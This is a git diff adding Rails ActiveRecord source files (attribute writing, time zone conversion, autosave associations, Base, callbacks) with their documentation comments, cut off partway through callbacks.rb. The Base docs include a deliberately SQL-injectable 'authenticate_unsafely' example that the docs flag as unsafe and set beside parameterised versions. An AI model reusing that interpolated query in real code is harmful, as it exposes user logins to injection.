diff --git a/activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb b/activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb
new file mode 100644
index 0000000..41b5a6e
--- /dev/null
+++ b/activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb
@@ -0,0 +1,59 @@
+module ActiveRecord
+ module AttributeMethods
+ module TimeZoneConversion
+ class Type # :nodoc:
+ def initialize(column)
+ @column = column
+ end
+
+ def type_cast(value)
+ value = @column.type_cast(value)
+ value.acts_like?(:time) ? value.in_time_zone : value
+ end
+
+ def type
+ @column.type
+ end
+ end
+
+ extend ActiveSupport::Concern
+
+ included do
+ mattr_accessor :time_zone_aware_attributes, instance_writer: false
+ self.time_zone_aware_attributes = false
+
+ class_attribute :skip_time_zone_conversion_for_attributes, instance_writer: false
+ self.skip_time_zone_conversion_for_attributes = []
+ end
+
+ module ClassMethods
+ protected
+ # Defined for all +datetime+ and +timestamp+ attributes when +time_zone_aware_attributes+ are enabled.
+ # This enhanced write method will automatically convert the time passed to it to the zone stored in Time.zone.
+ def define_method_attribute=(attr_name)
+ if create_time_zone_conversion_attribute?(attr_name, columns_hash[attr_name])
+ method_body, line = <<-EOV, __LINE__ + 1
+ def #{attr_name}=(time)
+ time_with_zone = time.respond_to?(:in_time_zone) ? time.in_time_zone : nil
+ previous_time = attribute_changed?("#{attr_name}") ? changed_attributes["#{attr_name}"] : read_attribute(:#{attr_name})
+ write_attribute(:#{attr_name}, time)
+ #{attr_name}_will_change! if previous_time != time_with_zone
+ @attributes_cache["#{attr_name}"] = time_with_zone
+ end
+ EOV
+ generated_attribute_methods.module_eval(method_body, __FILE__, line)
+ else
+ super
+ end
+ end
+
+ private
+ def create_time_zone_conversion_attribute?(name, column)
+ time_zone_aware_attributes &&
+ !self.skip_time_zone_conversion_for_attributes.include?(name.to_sym) &&
+ [:datetime, :timestamp].include?(column.type)
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/attribute_methods/write.rb b/activerecord/lib/active_record/attribute_methods/write.rb
new file mode 100644
index 0000000..cd33494
--- /dev/null
+++ b/activerecord/lib/active_record/attribute_methods/write.rb
@@ -0,0 +1,63 @@
+module ActiveRecord
+ module AttributeMethods
+ module Write
+ extend ActiveSupport::Concern
+
+ included do
+ attribute_method_suffix "="
+ end
+
+ module ClassMethods
+ protected
+
+ # See define_method_attribute in read.rb for an explanation of
+ # this code.
+ def define_method_attribute=(name)
+ safe_name = name.unpack('h*').first
+ generated_attribute_methods.module_eval <<-STR, __FILE__, __LINE__ + 1
+ def __temp__#{safe_name}=(value)
+ write_attribute(AttrNames::ATTR_#{safe_name}, value)
+ end
+ alias_method #{(name + '=').inspect}, :__temp__#{safe_name}=
+ undef_method :__temp__#{safe_name}=
+ STR
+ end
+ end
+
+ # Updates the attribute identified by <tt>attr_name</tt> with the
+ # specified +value+. Empty strings for fixnum and float columns are
+ # turned into +nil+.
+ def write_attribute(attr_name, value)
+ attr_name = attr_name.to_s
+ attr_name = self.class.primary_key if attr_name == 'id' && self.class.primary_key
+ @attributes_cache.delete(attr_name)
+ column = column_for_attribute(attr_name)
+
+ # If we're dealing with a binary column, write the data to the cache
+ # so we don't attempt to typecast multiple times.
+ if column && column.binary?
+ @attributes_cache[attr_name] = value
+ end
+
+ if column || @attributes.has_key?(attr_name)
+ @attributes[attr_name] = type_cast_attribute_for_write(column, value)
+ else
+ raise ActiveModel::MissingAttributeError, "can't write unknown attribute `#{attr_name}'"
+ end
+ end
+ alias_method :raw_write_attribute, :write_attribute
+
+ private
+ # Handle *= for method_missing.
+ def attribute=(attribute_name, value)
+ write_attribute(attribute_name, value)
+ end
+
+ def type_cast_attribute_for_write(column, value)
+ return value unless column
+
+ column.type_cast_for_write value
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/autosave_association.rb b/activerecord/lib/active_record/autosave_association.rb
new file mode 100644
index 0000000..44323ce
--- /dev/null
+++ b/activerecord/lib/active_record/autosave_association.rb
@@ -0,0 +1,425 @@
+module ActiveRecord
+ # = Active Record Autosave Association
+ #
+ # +AutosaveAssociation+ is a module that takes care of automatically saving
+ # associated records when their parent is saved. In addition to saving, it
+ # also destroys any associated records that were marked for destruction.
+ # (See +mark_for_destruction+ and <tt>marked_for_destruction?</tt>).
+ #
+ # Saving of the parent, its associations, and the destruction of marked
+ # associations, all happen inside a transaction. This should never leave the
+ # database in an inconsistent state.
+ #
+ # If validations for any of the associations fail, their error messages will
+ # be applied to the parent.
+ #
+ # Note that it also means that associations marked for destruction won't
+ # be destroyed directly. They will however still be marked for destruction.
+ #
+ # Note that <tt>autosave: false</tt> is not same as not declaring <tt>:autosave</tt>.
+ # When the <tt>:autosave</tt> option is not present new associations are saved.
+ #
+ # == Validation
+ #
+ # Children records are validated unless <tt>:validate</tt> is +false+.
+ #
+ # == Callbacks
+ #
+ # Association with autosave option defines several callbacks on your
+ # model (before_save, after_create, after_update). Please note that
+ # callbacks are executed in the order they were defined in
+ # model. You should avoid modifying the association content, before
+ # autosave callbacks are executed. Placing your callbacks after
+ # associations is usually a good practice.
+ #
+ # === One-to-one Example
+ #
+ # class Post
+ # has_one :author, autosave: true
+ # end
+ #
+ # Saving changes to the parent and its associated model can now be performed
+ # automatically _and_ atomically:
+ #
+ # post = Post.find(1)
+ # post.title # => "The current global position of migrating ducks"
+ # post.author.name # => "alloy"
+ #
+ # post.title = "On the migration of ducks"
+ # post.author.name = "Eloy Duran"
+ #
+ # post.save
+ # post.reload
+ # post.title # => "On the migration of ducks"
+ # post.author.name # => "Eloy Duran"
+ #
+ # Destroying an associated model, as part of the parent's save action, is as
+ # simple as marking it for destruction:
+ #
+ # post.author.mark_for_destruction
+ # post.author.marked_for_destruction? # => true
+ #
+ # Note that the model is _not_ yet removed from the database:
+ #
+ # id = post.author.id
+ # Author.find_by(id: id).nil? # => false
+ #
+ # post.save
+ # post.reload.author # => nil
+ #
+ # Now it _is_ removed from the database:
+ #
+ # Author.find_by(id: id).nil? # => true
+ #
+ # === One-to-many Example
+ #
+ # When <tt>:autosave</tt> is not declared new children are saved when their parent is saved:
+ #
+ # class Post
+ # has_many :comments # :autosave option is not declared
+ # end
+ #
+ # post = Post.new(title: 'ruby rocks')
+ # post.comments.build(body: 'hello world')
+ # post.save # => saves both post and comment
+ #
+ # post = Post.create(title: 'ruby rocks')
+ # post.comments.build(body: 'hello world')
+ # post.save # => saves both post and comment
+ #
+ # post = Post.create(title: 'ruby rocks')
+ # post.comments.create(body: 'hello world')
+ # post.save # => saves both post and comment
+ #
+ # When <tt>:autosave</tt> is true all children are saved, no matter whether they
+ # are new records or not:
+ #
+ # class Post
+ # has_many :comments, autosave: true
+ # end
+ #
+ # post = Post.create(title: 'ruby rocks')
+ # post.comments.create(body: 'hello world')
+ # post.comments[0].body = 'hi everyone'
+ # post.save # => saves both post and comment, with 'hi everyone' as body
+ #
+ # Destroying one of the associated models as part of the parent's save action
+ # is as simple as marking it for destruction:
+ #
+ # post.comments.last.mark_for_destruction
+ # post.comments.last.marked_for_destruction? # => true
+ # post.comments.length # => 2
+ #
+ # Note that the model is _not_ yet removed from the database:
+ #
+ # id = post.comments.last.id
+ # Comment.find_by(id: id).nil? # => false
+ #
+ # post.save
+ # post.reload.comments.length # => 1
+ #
+ # Now it _is_ removed from the database:
+ #
+ # Comment.find_by(id: id).nil? # => true
+
+ module AutosaveAssociation
+ extend ActiveSupport::Concern
+
+ module AssociationBuilderExtension #:nodoc:
+ def build
+ model.send(:add_autosave_association_callbacks, reflection)
+ super
+ end
+ end
+
+ included do
+ Associations::Builder::Association.class_eval do
+ self.valid_options << :autosave
+ include AssociationBuilderExtension
+ end
+ end
+
+ module ClassMethods
+ private
+
+ def define_non_cyclic_method(name, reflection, &block)
+ define_method(name) do |*args|
+ result = true; @_already_called ||= {}
+ # Loop prevention for validation of associations
+ unless @_already_called[[name, reflection.name]]
+ begin
+ @_already_called[[name, reflection.name]]=true
+ result = instance_eval(&block)
+ ensure
+ @_already_called[[name, reflection.name]]=false
+ end
+ end
+
+ result
+ end
+ end
+
+ # Adds validation and save callbacks for the association as specified by
+ # the +reflection+.
+ #
+ # For performance reasons, we don't check whether to validate at runtime.
+ # However the validation and callback methods are lazy and those methods
+ # get created when they are invoked for the very first time. However,
+ # this can change, for instance, when using nested attributes, which is
+ # called _after_ the association has been defined. Since we don't want
+ # the callbacks to get defined multiple times, there are guards that
+ # check if the save or validation methods have already been defined
+ # before actually defining them.
+ def add_autosave_association_callbacks(reflection)
+ save_method = :"autosave_associated_records_for_#{reflection.name}"
+ validation_method = :"validate_associated_records_for_#{reflection.name}"
+ collection = reflection.collection?
+
+ unless method_defined?(save_method)
+ if collection
+ before_save :before_save_collection_association
+
+ define_non_cyclic_method(save_method, reflection) { save_collection_association(reflection) }
+ # Doesn't use after_save as that would save associations added in after_create/after_update twice
+ after_create save_method
+ after_update save_method
+ elsif reflection.macro == :has_one
+ define_method(save_method) { save_has_one_association(reflection) }
+ # Configures two callbacks instead of a single after_save so that
+ # the model may rely on their execution order relative to its
+ # own callbacks.
+ #
+ # For example, given that after_creates run before after_saves, if
+ # we configured instead an after_save there would be no way to fire
+ # a custom after_create callback after the child association gets
+ # created.
+ after_create save_method
+ after_update save_method
+ else
+ define_non_cyclic_method(save_method, reflection) { save_belongs_to_association(reflection) }
+ before_save save_method
+ end
+ end
+
+ if reflection.validate? && !method_defined?(validation_method)
+ method = (collection ? :validate_collection_association : :validate_single_association)
+ define_non_cyclic_method(validation_method, reflection) { send(method, reflection) }
+ validate validation_method
+ end
+ end
+ end
+
+ # Reloads the attributes of the object as usual and clears <tt>marked_for_destruction</tt> flag.
+ def reload(options = nil)
+ @marked_for_destruction = false
+ @destroyed_by_association = nil
+ super
+ end
+
+ # Marks this record to be destroyed as part of the parents save transaction.
+ # This does _not_ actually destroy the record instantly, rather child record will be destroyed
+ # when <tt>parent.save</tt> is called.
+ #
+ # Only useful if the <tt>:autosave</tt> option on the parent is enabled for this associated model.
+ def mark_for_destruction
+ @marked_for_destruction = true
+ end
+
+ # Returns whether or not this record will be destroyed as part of the parents save transaction.
+ #
+ # Only useful if the <tt>:autosave</tt> option on the parent is enabled for this associated model.
+ def marked_for_destruction?
+ @marked_for_destruction
+ end
+
+ # Records the association that is being destroyed and destroying this
+ # record in the process.
+ def destroyed_by_association=(reflection)
+ @destroyed_by_association = reflection
+ end
+
+ # Returns the association for the parent being destroyed.
+ #
+ # Used to avoid updating the counter cache unnecessarily.
+ def destroyed_by_association
+ @destroyed_by_association
+ end
+
+ # Returns whether or not this record has been changed in any way (including whether
+ # any of its nested autosave associations are likewise changed)
+ def changed_for_autosave?
+ new_record? || changed? || marked_for_destruction? || nested_records_changed_for_autosave?
+ end
+
+ private
+
+ # Returns the record for an association collection that should be validated
+ # or saved. If +autosave+ is +false+ only new records will be returned,
+ # unless the parent is/was a new record itself.
+ def associated_records_to_validate_or_save(association, new_record, autosave)
+ if new_record
+ association && association.target
+ elsif autosave
+ association.target.find_all { |record| record.changed_for_autosave? }
+ else
+ association.target.find_all { |record| record.new_record? }
+ end
+ end
+
+ # go through nested autosave associations that are loaded in memory (without loading
+ # any new ones), and return true if is changed for autosave
+ def nested_records_changed_for_autosave?
+ self.class.reflect_on_all_autosave_associations.any? do |reflection|
+ association = association_instance_get(reflection.name)
+ association && Array.wrap(association.target).any? { |a| a.changed_for_autosave? }
+ end
+ end
+
+ # Validate the association if <tt>:validate</tt> or <tt>:autosave</tt> is
+ # turned on for the association.
+ def validate_single_association(reflection)
+ association = association_instance_get(reflection.name)
+ record = association && association.reader
+ association_valid?(reflection, record) if record
+ end
+
+ # Validate the associated records if <tt>:validate</tt> or
+ # <tt>:autosave</tt> is turned on for the association specified by
+ # +reflection+.
+ def validate_collection_association(reflection)
+ if association = association_instance_get(reflection.name)
+ if records = associated_records_to_validate_or_save(association, new_record?, reflection.options[:autosave])
+ records.each { |record| association_valid?(reflection, record) }
+ end
+ end
+ end
+
+ # Returns whether or not the association is valid and applies any errors to
+ # the parent, <tt>self</tt>, if it wasn't. Skips any <tt>:autosave</tt>
+ # enabled records if they're marked_for_destruction? or destroyed.
+ def association_valid?(reflection, record)
+ return true if record.destroyed? || record.marked_for_destruction?
+
+ unless valid = record.valid?(validation_context)
+ if reflection.options[:autosave]
+ record.errors.each do |attribute, message|
+ attribute = "#{reflection.name}.#{attribute}"
+ errors[attribute] << message
+ errors[attribute].uniq!
+ end
+ else
+ errors.add(reflection.name)
+ end
+ end
+ valid
+ end
+
+ # Is used as a before_save callback to check while saving a collection
+ # association whether or not the parent was a new record before saving.
+ def before_save_collection_association
+ @new_record_before_save = new_record?
+ true
+ end
+
+ # Saves any new associated records, or all loaded autosave associations if
+ # <tt>:autosave</tt> is enabled on the association.
+ #
+ # In addition, it destroys all children that were marked for destruction
+ # with mark_for_destruction.
+ #
+ # This all happens inside a transaction, _if_ the Transactions module is included into
+ # ActiveRecord::Base after the AutosaveAssociation module, which it does by default.
+ def save_collection_association(reflection)
+ if association = association_instance_get(reflection.name)
+ autosave = reflection.options[:autosave]
+
+ if records = associated_records_to_validate_or_save(association, @new_record_before_save, autosave)
+ records_to_destroy = []
+ records.each do |record|
+ next if record.destroyed?
+
+ saved = true
+
+ if autosave && record.marked_for_destruction?
+ records_to_destroy << record
+ elsif autosave != false && (@new_record_before_save || record.new_record?)
+ if autosave
+ saved = association.insert_record(record, false)
+ else
+ association.insert_record(record) unless reflection.nested?
+ end
+ elsif autosave
+ saved = record.save(:validate => false)
+ end
+
+ raise ActiveRecord::Rollback unless saved
+ end
+
+ records_to_destroy.each do |record|
+ association.destroy(record)
+ end
+ end
+
+ # reconstruct the scope now that we know the owner's id
+ association.reset_scope if association.respond_to?(:reset_scope)
+ end
+ end
+
+ # Saves the associated record if it's new or <tt>:autosave</tt> is enabled
+ # on the association.
+ #
+ # In addition, it will destroy the association if it was marked for
+ # destruction with mark_for_destruction.
+ #
+ # This all happens inside a transaction, _if_ the Transactions module is included into
+ # ActiveRecord::Base after the AutosaveAssociation module, which it does by default.
+ def save_has_one_association(reflection)
+ association = association_instance_get(reflection.name)
+ record = association && association.load_target
+ if record && !record.destroyed?
+ autosave = reflection.options[:autosave]
+
+ if autosave && record.marked_for_destruction?
+ record.destroy
+ else
+ key = reflection.options[:primary_key] ? send(reflection.options[:primary_key]) : id
+ if autosave != false && (new_record? || record.new_record? || record[reflection.foreign_key] != key || autosave)
+ unless reflection.through_reflection
+ record[reflection.foreign_key] = key
+ end
+
+ saved = record.save(:validate => !autosave)
+ raise ActiveRecord::Rollback if !saved && autosave
+ saved
+ end
+ end
+ end
+ end
+
+ # Saves the associated record if it's new or <tt>:autosave</tt> is enabled.
+ #
+ # In addition, it will destroy the association if it was marked for destruction.
+ def save_belongs_to_association(reflection)
+ association = association_instance_get(reflection.name)
+ record = association && association.load_target
+ if record && !record.destroyed?
+ autosave = reflection.options[:autosave]
+
+ if autosave && record.marked_for_destruction?
+ self[reflection.foreign_key] = nil
+ record.destroy
+ elsif autosave != false
+ saved = record.save(:validate => !autosave) if record.new_record? || (autosave && record.changed_for_autosave?)
+
+ if association.updated?
+ association_id = record.send(reflection.options[:primary_key] || :id)
+ self[reflection.foreign_key] = association_id
+ association.loaded!
+ end
+
+ saved if autosave
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/base.rb b/activerecord/lib/active_record/base.rb
new file mode 100644
index 0000000..b06add0
--- /dev/null
+++ b/activerecord/lib/active_record/base.rb
@@ -0,0 +1,323 @@
+require 'yaml'
+require 'set'
+require 'active_support/benchmarkable'
+require 'active_support/dependencies'
+require 'active_support/descendants_tracker'
+require 'active_support/time'
+require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/class/delegating_attributes'
+require 'active_support/core_ext/array/extract_options'
+require 'active_support/core_ext/hash/deep_merge'
+require 'active_support/core_ext/hash/slice'
+require 'active_support/core_ext/string/behavior'
+require 'active_support/core_ext/kernel/singleton_class'
+require 'active_support/core_ext/module/introspection'
+require 'active_support/core_ext/object/duplicable'
+require 'active_support/core_ext/class/subclasses'
+require 'arel'
+require 'active_record/errors'
+require 'active_record/log_subscriber'
+require 'active_record/explain_subscriber'
+
+module ActiveRecord #:nodoc:
+ # = Active Record
+ #
+ # Active Record objects don't specify their attributes directly, but rather infer them from
+ # the table definition with which they're linked. Adding, removing, and changing attributes
+ # and their type is done directly in the database. Any change is instantly reflected in the
+ # Active Record objects. The mapping that binds a given Active Record class to a certain
+ # database table will happen automatically in most common cases, but can be overwritten for the uncommon ones.
+ #
+ # See the mapping rules in table_name and the full example in link:files/activerecord/README_rdoc.html for more insight.
+ #
+ # == Creation
+ #
+ # Active Records accept constructor parameters either in a hash or as a block. The hash
+ # method is especially useful when you're receiving the data from somewhere else, like an
+ # HTTP request. It works like this:
+ #
+ # user = User.new(name: "David", occupation: "Code Artist")
+ # user.name # => "David"
+ #
+ # You can also use block initialization:
+ #
+ # user = User.new do |u|
+ # u.name = "David"
+ # u.occupation = "Code Artist"
+ # end
+ #
+ # And of course you can just create a bare object and specify the attributes after the fact:
+ #
+ # user = User.new
+ # user.name = "David"
+ # user.occupation = "Code Artist"
+ #
+ # == Conditions
+ #
+ # Conditions can either be specified as a string, array, or hash representing the WHERE-part of an SQL statement.
+ # The array form is to be used when the condition input is tainted and requires sanitization. The string form can
+ # be used for statements that don't involve tainted data. The hash form works much like the array form, except
+ # only equality and range is possible. Examples:
+ #
+ # class User < ActiveRecord::Base
+ # def self.authenticate_unsafely(user_name, password)
+ # where("user_name = '#{user_name}' AND password = '#{password}'").first
+ # end
+ #
+ # def self.authenticate_safely(user_name, password)
+ # where("user_name = ? AND password = ?", user_name, password).first
+ # end
+ #
+ # def self.authenticate_safely_simply(user_name, password)
+ # where(user_name: user_name, password: password).first
+ # end
+ # end
+ #
+ # The <tt>authenticate_unsafely</tt> method inserts the parameters directly into the query
+ # and is thus susceptible to SQL-injection attacks if the <tt>user_name</tt> and +password+
+ # parameters come directly from an HTTP request. The <tt>authenticate_safely</tt> and
+ # <tt>authenticate_safely_simply</tt> both will sanitize the <tt>user_name</tt> and +password+
+ # before inserting them in the query, which will ensure that an attacker can't escape the
+ # query and fake the login (or worse).
+ #
+ # When using multiple parameters in the conditions, it can easily become hard to read exactly
+ # what the fourth or fifth question mark is supposed to represent. In those cases, you can
+ # resort to named bind variables instead. That's done by replacing the question marks with
+ # symbols and supplying a hash with values for the matching symbol keys:
+ #
+ # Company.where(
+ # "id = :id AND name = :name AND division = :division AND created_at > :accounting_date",
+ # { id: 3, name: "37signals", division: "First", accounting_date: '2005-01-01' }
+ # ).first
+ #
+ # Similarly, a simple hash without a statement will generate conditions based on equality with the SQL AND
+ # operator. For instance:
+ #
+ # Student.where(first_name: "Harvey", status: 1)
+ # Student.where(params[:student])
+ #
+ # A range may be used in the hash to use the SQL BETWEEN operator:
+ #
+ # Student.where(grade: 9..12)
+ #
+ # An array may be used in the hash to use the SQL IN operator:
+ #
+ # Student.where(grade: [9,11,12])
+ #
+ # When joining tables, nested hashes or keys written in the form 'table_name.column_name'
+ # can be used to qualify the table name of a particular condition. For instance:
+ #
+ # Student.joins(:schools).where(schools: { category: 'public' })
+ # Student.joins(:schools).where('schools.category' => 'public' )
+ #
+ # == Overwriting default accessors
+ #
+ # All column values are automatically available through basic accessors on the Active Record
+ # object, but sometimes you want to specialize this behavior. This can be done by overwriting
+ # the default accessors (using the same name as the attribute) and calling
+ # <tt>read_attribute(attr_name)</tt> and <tt>write_attribute(attr_name, value)</tt> to actually
+ # change things.
+ #
+ # class Song < ActiveRecord::Base
+ # # Uses an integer of seconds to hold the length of the song
+ #
+ # def length=(minutes)
+ # write_attribute(:length, minutes.to_i * 60)
+ # end
+ #
+ # def length
+ # read_attribute(:length) / 60
+ # end
+ # end
+ #
+ # You can alternatively use <tt>self[:attribute]=(value)</tt> and <tt>self[:attribute]</tt>
+ # instead of <tt>write_attribute(:attribute, value)</tt> and <tt>read_attribute(:attribute)</tt>.
+ #
+ # == Attribute query methods
+ #
+ # In addition to the basic accessors, query methods are also automatically available on the Active Record object.
+ # Query methods allow you to test whether an attribute value is present.
+ #
+ # For example, an Active Record User with the <tt>name</tt> attribute has a <tt>name?</tt> method that you can call
+ # to determine whether the user has a name:
+ #
+ # user = User.new(name: "David")
+ # user.name? # => true
+ #
+ # anonymous = User.new(name: "")
+ # anonymous.name? # => false
+ #
+ # == Accessing attributes before they have been typecasted
+ #
+ # Sometimes you want to be able to read the raw attribute data without having the column-determined
+ # typecast run its course first. That can be done by using the <tt><attribute>_before_type_cast</tt>
+ # accessors that all attributes have. For example, if your Account model has a <tt>balance</tt> attribute,
+ # you can call <tt>account.balance_before_type_cast</tt> or <tt>account.id_before_type_cast</tt>.
+ #
+ # This is especially useful in validation situations where the user might supply a string for an
+ # integer field and you want to display the original string back in an error message. Accessing the
+ # attribute normally would typecast the string to 0, which isn't what you want.
+ #
+ # == Dynamic attribute-based finders
+ #
+ # Dynamic attribute-based finders are a mildly deprecated way of getting (and/or creating) objects
+ # by simple queries without turning to SQL. They work by appending the name of an attribute
+ # to <tt>find_by_</tt> like <tt>Person.find_by_user_name</tt>.
+ # Instead of writing <tt>Person.find_by(user_name: user_name)</tt>, you can use
+ # <tt>Person.find_by_user_name(user_name)</tt>.
+ #
+ # It's possible to add an exclamation point (!) on the end of the dynamic finders to get them to raise an
+ # <tt>ActiveRecord::RecordNotFound</tt> error if they do not return any records,
+ # like <tt>Person.find_by_last_name!</tt>.
+ #
+ # It's also possible to use multiple attributes in the same find by separating them with "_and_".
+ #
+ # Person.find_by(user_name: user_name, password: password)
+ # Person.find_by_user_name_and_password(user_name, password) # with dynamic finder
+ #
+ # It's even possible to call these dynamic finder methods on relations and named scopes.
+ #
+ # Payment.order("created_on").find_by_amount(50)
+ #
+ # == Saving arrays, hashes, and other non-mappable objects in text columns
+ #
+ # Active Record can serialize any object in text columns using YAML. To do so, you must
+ # specify this with a call to the class method +serialize+.
+ # This makes it possible to store arrays, hashes, and other non-mappable objects without doing
+ # any additional work.
+ #
+ # class User < ActiveRecord::Base
+ # serialize :preferences
+ # end
+ #
+ # user = User.create(preferences: { "background" => "black", "display" => large })
+ # User.find(user.id).preferences # => { "background" => "black", "display" => large }
+ #
+ # You can also specify a class option as the second parameter that'll raise an exception
+ # if a serialized object is retrieved as a descendant of a class not in the hierarchy.
+ #
+ # class User < ActiveRecord::Base
+ # serialize :preferences, Hash
+ # end
+ #
+ # user = User.create(preferences: %w( one two three ))
+ # User.find(user.id).preferences # raises SerializationTypeMismatch
+ #
+ # When you specify a class option, the default value for that attribute will be a new
+ # instance of that class.
+ #
+ # class User < ActiveRecord::Base
+ # serialize :preferences, OpenStruct
+ # end
+ #
+ # user = User.new
+ # user.preferences.theme_color = "red"
+ #
+ #
+ # == Single table inheritance
+ #
+ # Active Record allows inheritance by storing the name of the class in a column that by
+ # default is named "type" (can be changed by overwriting <tt>Base.inheritance_column</tt>).
+ # This means that an inheritance looking like this:
+ #
+ # class Company < ActiveRecord::Base; end
+ # class Firm < Company; end
+ # class Client < Company; end
+ # class PriorityClient < Client; end
+ #
+ # When you do <tt>Firm.create(name: "37signals")</tt>, this record will be saved in
+ # the companies table with type = "Firm". You can then fetch this row again using
+ # <tt>Company.where(name: '37signals').first</tt> and it will return a Firm object.
+ #
+ # If you don't have a type column defined in your table, single-table inheritance won't
+ # be triggered. In that case, it'll work just like normal subclasses with no special magic
+ # for differentiating between them or reloading the right type with find.
+ #
+ # Note, all the attributes for all the cases are kept in the same table. Read more:
+ # http://www.martinfowler.com/eaaCatalog/singleTableInheritance.html
+ #
+ # == Connection to multiple databases in different models
+ #
+ # Connections are usually created through ActiveRecord::Base.establish_connection and retrieved
+ # by ActiveRecord::Base.connection. All classes inheriting from ActiveRecord::Base will use this
+ # connection. But you can also set a class-specific connection. For example, if Course is an
+ # ActiveRecord::Base, but resides in a different database, you can just say <tt>Course.establish_connection</tt>
+ # and Course and all of its subclasses will use this connection instead.
+ #
+ # This feature is implemented by keeping a connection pool in ActiveRecord::Base that is
+ # a Hash indexed by the class. If a connection is requested, the retrieve_connection method
+ # will go up the class-hierarchy until a connection is found in the connection pool.
+ #
+ # == Exceptions
+ #
+ # * ActiveRecordError - Generic error class and superclass of all other errors raised by Active Record.
+ # * AdapterNotSpecified - The configuration hash used in <tt>establish_connection</tt> didn't include an
+ # <tt>:adapter</tt> key.
+ # * AdapterNotFound - The <tt>:adapter</tt> key used in <tt>establish_connection</tt> specified a
+ # non-existent adapter
+ # (or a bad spelling of an existing one).
+ # * AssociationTypeMismatch - The object assigned to the association wasn't of the type
+ # specified in the association definition.
+ # * AttributeAssignmentError - An error occurred while doing a mass assignment through the
+ # <tt>attributes=</tt> method.
+ # You can inspect the +attribute+ property of the exception object to determine which attribute
+ # triggered the error.
+ # * ConnectionNotEstablished - No connection has been established. Use <tt>establish_connection</tt>
+ # before querying.
+ # * MultiparameterAssignmentErrors - Collection of errors that occurred during a mass assignment using the
+ # <tt>attributes=</tt> method. The +errors+ property of this exception contains an array of
+ # AttributeAssignmentError
+ # objects that should be inspected to determine which attributes triggered the errors.
+ # * RecordInvalid - raised by save! and create! when the record is invalid.
+ # * RecordNotFound - No record responded to the +find+ method. Either the row with the given ID doesn't exist
+ # or the row didn't meet the additional restrictions. Some +find+ calls do not raise this exception to signal
+ # nothing was found, please check its documentation for further details.
+ # * SerializationTypeMismatch - The serialized object wasn't of the class specified as the second parameter.
+ # * StatementInvalid - The database server rejected the SQL statement. The precise error is added in the message.
+ #
+ # *Note*: The attributes listed are class-level attributes (accessible from both the class and instance level).
+ # So it's possible to assign a logger to the class through <tt>Base.logger=</tt> which will then be used by all
+ # instances in the current object space.
+ class Base
+ extend ActiveModel::Naming
+
+ extend ActiveSupport::Benchmarkable
+ extend ActiveSupport::DescendantsTracker
+
+ extend ConnectionHandling
+ extend QueryCache::ClassMethods
+ extend Querying
+ extend Translation
+ extend DynamicMatchers
+ extend Explain
+
+ include Persistence
+ include ReadonlyAttributes
+ include ModelSchema
+ include Inheritance
+ include Scoping
+ include Sanitization
+ include AttributeAssignment
+ include ActiveModel::Conversion
+ include Integration
+ include Validations
+ include CounterCache
+ include Locking::Optimistic
+ include Locking::Pessimistic
+ include AttributeMethods
+ include Callbacks
+ include Timestamp
+ include Associations
+ include ActiveModel::SecurePassword
+ include AutosaveAssociation
+ include NestedAttributes
+ include Aggregations
+ include Transactions
+ include Reflection
+ include Serialization
+ include Store
+ include Core
+ end
+
+ ActiveSupport.run_load_hooks(:active_record, Base)
+end
diff --git a/activerecord/lib/active_record/callbacks.rb b/activerecord/lib/active_record/callbacks.rb
new file mode 100644
index 0000000..e4c484d
--- /dev/null
+++ b/activerecord/lib/active_record/callbacks.rb
@@ -0,0 +1,310 @@
+module ActiveRecord
+ # = Active Record Callbacks
+ #
+ # Callbacks are hooks into the life cycle of an Active Record object that allow you to trigger logic
+ # before or after an alteration of the object state. This can be used to make sure that associated and
+ # dependent objects are deleted when +destroy+ is called (by overwriting +before_destroy+) or to massage attributes
+ # before they're validated (by overwriting +before_validation+). As an example of the callbacks initiated, consider
+ # the <tt>Base#save</tt> call for a new record:
+ #
+ # * (-) <tt>save</tt>
+ # * (-) <tt>valid</tt>
+ # * (1) <tt>before_validation</tt>
+ # * (-) <tt>validate</tt>
+ # * (2) <tt>after_validation</tt>
+ # * (3) <tt>before_save</tt>
+ # * (4) <tt>before_create</tt>
+ # * (-) <tt>create</tt>
+ # * (5) <tt>after_create</tt>
+ # * (6) <tt>after_save</tt>
+ # * (7) <tt>after_commit</tt>
+ #
+ # Also, an <tt>after_rollback</tt> callback can be configured to be triggered whenever a rollback is issued.
+ # Check out <tt>ActiveRecord::Transactions</tt> for more details about <tt>after_commit</tt> and
+ # <tt>after_rollback</tt>.
+ #
+ # Lastly an <tt>after_find</tt> and <tt>after_initialize</tt> callback is triggered for each object that
+ # is found and instantiated by a finder, with <tt>after_initialize</tt> being triggered after new objects
+ # are instantiated as well.
+ #
+ # That's a total of twelve callbacks, which gives you immense power to react and prepare for each state in the
+ # Active Record life cycle. The sequence for calling <tt>Base#save</tt> for an existing record is similar,
+ # except that each <tt>_create</tt> callback is replaced by the corresponding <tt>_update</tt> callback.
+ #
+ # Examples:
+ # class CreditCard < ActiveRecord::Base
+ # # Strip everything but digits, so the user can specify "555 234 34" or
+ # # "5552-3434" and both will mean "55523434"
+ # before_validation(on: :create) do
+ # self.number = number.gsub(/[^0-9]/, "") if attribute_present?("number")
+ # end
+ # end
+ #
+ # class Subscription < ActiveRecord::Base
+ # before_create :record_signup
+ #
+ # private
+ # def record_signup
+ # self.signed_up_on = Date.today
+ # end
+ # end
+ #
+ # class Firm < ActiveRecord::Base
+ # # Destroys the associated clients and people when the firm is destroyed
+ # before_destroy { |record| Person.destroy_all "firm_id = #{record.id}" }
+ # before_destroy { |record| Client.destroy_all "client_of = #{record.id}" }
+ # end
+ #
+ # == Inheritable callback queues
+ #
+ # Besides the overwritable callback methods, it's also possible to register callbacks through the
+ # use of the callback macros. Their main advantage is that the macros add behavior into a callback
+ # queue that is kept intact down through an inheritance hierarchy.
+ #
+ # class Topic < ActiveRecord::Base
+ # before_destroy :destroy_author
+ # end
+ #
+ # class Reply < Topic
+ # before_destroy :destroy_readers
+ # end
+ #
+ # Now, when <tt>Topic#destroy</tt> is run only +destroy_author+ is called. When <tt>Reply#destroy</tt> is
+ # run, both +destroy_author+ and +destroy_readers+ are called. Contrast this to the following situation
+ # where the +before_destroy+ method is overridden:
+ #
+ # class Topic < ActiveRecord::Base
+ # def before_destroy() destroy_author end
+ # end
+ #
